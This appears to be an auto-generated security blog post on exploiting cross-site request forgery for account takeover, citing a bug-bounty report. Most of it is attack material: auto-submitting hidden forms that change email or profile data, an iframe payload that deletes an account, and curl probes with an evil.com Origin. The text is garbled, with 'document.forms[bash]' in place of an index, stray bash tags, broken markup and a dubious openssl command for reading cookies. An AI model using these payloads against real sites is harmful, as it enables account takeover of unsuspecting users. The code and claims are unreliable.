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Cross-Site Request Forgery (CSRF) remains a critical web vulnerability, allowing attackers to force users to execute unintended actions. A recent $1,000 bounty was awarded for a CSRF flaw leading to full account takeover by email modification. Below are key insights and practical exploitation techniques.
You Should Know:
1. CSRF Requirements & Exploitation
- GET/POST Requests: CSRF typically works with these methods.
- Cookie-Based Auth: If the app uses `Authorization: Bearer` headers exclusively, CSRF fails.
- Mixed Auth: If cookies and headers are used, test removing headers to force cookie-only auth.
Exploit Code (HTML Form):
<form action="https://victim.com/change-email" method="POST"> <input type="hidden" name="email" value="[email protected]"> </form> <script>document.forms[bash].submit();</script>
2. Bypassing CORS with HTML Forms
- Why Forms Work: They ignore CORS preflight (
OPTIONS) checks. - JavaScript Limitation: `fetch/XHR` requires
Access-Control-Allow-Credentials: true.
Test CORS Misconfigurations:
curl -X OPTIONS -H "Origin: https://evil.com" -I https://victim.com/api/change-email
Check for:
[/bash]
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
<ol> <li>SameSite Cookie Bypass </li> </ol> - Strict/Lax Cookies: Block CSRF by default. - None: Exploitable if `Secure` flag is missing. Check Cookies: [bash] curl -I https://victim.com | grep -i set-cookie
Look for:
[/bash]
Set-Cookie: session=123; SameSite=None; Secure
<ol>
<li>Content-Type Manipulation </li>
</ol>
- JSON to Form-Data: Convert `application/json` to <code>x-www-form-urlencoded</code>.
Example:
Original JSON:
[bash]
{"email":"[email protected]"}
Converted Form:
<input type="hidden" name='{"email":"[email protected]"}' value="">
5. Anti-CSRF Token Bypasses
- Remove Token: Test if the endpoint works without it.
- Cookie-Bound Tokens: If tokens are passed via cookies, try stripping headers.
Exploit if Token Validation Fails:
<form action="https://victim.com/update-profile" method="POST"> <input type="hidden" name="name" value="Hacked"> </form>
6. Header-Based Protections
- X-Requested-With: HTML forms can’t set this.
- Origin/Referer Checks: Test with `Origin: null` or stripped headers.
Bypass with iframe:
<iframe src="data:text/html,<form action='https://victim.com/delete-account' method='POST'></form><script>document.forms[bash].submit()</script>"></iframe>
What Undercode Say
CSRF remains potent due to misconfigured cookies, lax CORS policies, and weak token validation. Always test:
– Cookie `SameSite` settings
– Mixed authentication mechanisms
– JSON-to-form conversion
– Header stripping attacks
Linux/Windows Commands for Testing:
Check CORS headers curl -H "Origin: https://attacker.com" -I https://victim.com Test SameSite cookies openssl s_client -connect victim.com:443 -showcerts | grep -i "Set-Cookie" Automated CSRF PoC generation python3 csrf-poc-generator.py -u https://victim.com/change-email -p "[email protected]"
Expected Output:
A working CSRF PoC leading to account takeover or data modification.
Prediction
As APIs shift to token-based auth, CSRF may decline—but legacy systems and misconfigurations will keep it relevant. Developers must enforce `SameSite=Strict` and strict CORS policies.
Relevant URLs:
References:
Reported By: Jarvis0p Togetherwehitharder – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
